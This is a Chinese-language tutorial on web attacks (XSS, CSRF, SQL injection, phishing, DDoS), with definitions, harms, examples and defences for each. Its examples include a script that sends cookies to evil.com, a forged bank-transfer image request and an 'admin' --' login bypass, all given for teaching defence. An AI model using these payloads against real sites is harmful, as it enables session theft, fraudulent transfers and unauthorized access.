网络攻击
XSS 攻击(跨站脚本攻击)
定义:跨站脚本攻击(Cross-Site Scripting, XSS)是一种注入攻击,攻击者通过在网页中插入恶意脚本代码,使得当用户浏览该网页时,恶意代码被执行。
危害:可以窃取用户的 Cookie、会话信息、打印输入内容,甚至进行钓鱼跳转或篡改页面。
示例:某论坛评论区不对输入进行过滤,攻击者提交
<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script>,当其他用户查看该评论时,其 Cookie 就会被发送到攻击者服务器。防范措施:
- 对用户输入进行严格的验证和过滤(如禁止
<script>标签)。 - 使用内容安全策略(CSP)来限制脚本的执行来源,比如只允许同域脚本执行。
- 对输出进行 HTML 转义,确保用户输入的
<、>等字符不会被当作可执行代码。
- 对用户输入进行严格的验证和过滤(如禁止
CSRF 攻击(跨站请求伪造)
定义:跨站请求伪造(Cross-Site Request Forgery, CSRF)是一种攻击方式,攻击者诱导用户在已认证(登录)状态下执行不希望的操作。
危害:可以在用户不知情的情况下,执行敏感操作,如转账、修改密码、删除数据等。
示例:用户在银行网站登录后,没有登出,攻击者发给用户一个链接
<img src="http://bank.com/transfer?to=attacker&amount=1000" />。当用户打开带有该隐藏元素的钓鱼页面时,浏览器会自动请求该 URL,触发转账操作。防范措施:
- 使用 CSRF 令牌(Token)来验证请求合法性,例如所有表单提交都携带一个随机生成的隐藏字段。
- 检查
Referer或Origin头部,确保请求来源于可信页面。 - 对敏感操作启用双重验证(如再次输入密码或验证码确认)。
SQL 注入(SQL Injection)
定义:SQL 注入是一种攻击方式,攻击者通过在输入字段中插入恶意的 SQL 片段,操纵后台数据库执行未授权操作。
危害:可以读取、修改或删除数据库中的数据,绕过身份验证,甚至获取服务器系统权限。
示例:登录表单只拼接字符串构造 SQL,类似
SELECT * FROM users WHERE username='+ userInput +' AND password='+ passInput +'。攻击者输入用户名为admin' --,绕过密码校验直接登录。防范措施:
- 使用参数化查询(Prepared Statement)或 ORM 库,避免直接拼接 SQL。
- 对用户输入进行严格验证和过滤,禁止特殊字符(如
'、;)。 - 限制数据库用户权限,确保应用只能访问需要的表和操作。
网络钓鱼(Phishing)
定义:网络钓鱼是一种欺诈手段,攻击者通过伪装成可信实体(如银行、社交平台)诱导用户泄露敏感信息。
危害:可以导致用户账号密码泄露、信用卡被盗刷、身份被冒用,造成财产损失。
示例:攻击者发送一封伪造的银行邮件,内含“账户异常请立即登录”链接,实际上链接指向钓鱼网站。用户输入账号密码后,信息被攻击者窃取。
防范措施:
- 提高安全意识,不随意点击不明来源链接或附件。
- 检查邮件域名和 HTTPS 证书,确认是否为官方地址。
- 启用双因素认证(2FA),即使密码泄露也难以被篡改账户。
DDoS 攻击(分布式拒绝服务攻击)
定义:分布式拒绝服务攻击(Distributed Denial of Service, DDoS)是攻击者利用大量受控僵尸主机同时对目标网站或服务发起海量请求,使其资源耗尽、服务不可用。
危害:可以导致网站或服务器崩溃,业务中断、用户体验受损,甚至影响后续正常运营。
示例:一个电商网站在促销活动前夕,遭到成千上万机器人 IP 并发请求,导致服务器带宽和 CPU 饱和,正常用户无法访问商品页面。
防范措施:
- 部署流量清洗(DDoS Mitigation)服务,如通过 CDN、WAF 进行实时流量分析与拦截。
- 使用负载均衡将流量分散到多个节点,避免单点过载。
- 设置访问控制列表(ACL)或基于行为的限速(Rate Limiting),对异常大量请求进行过滤或限流。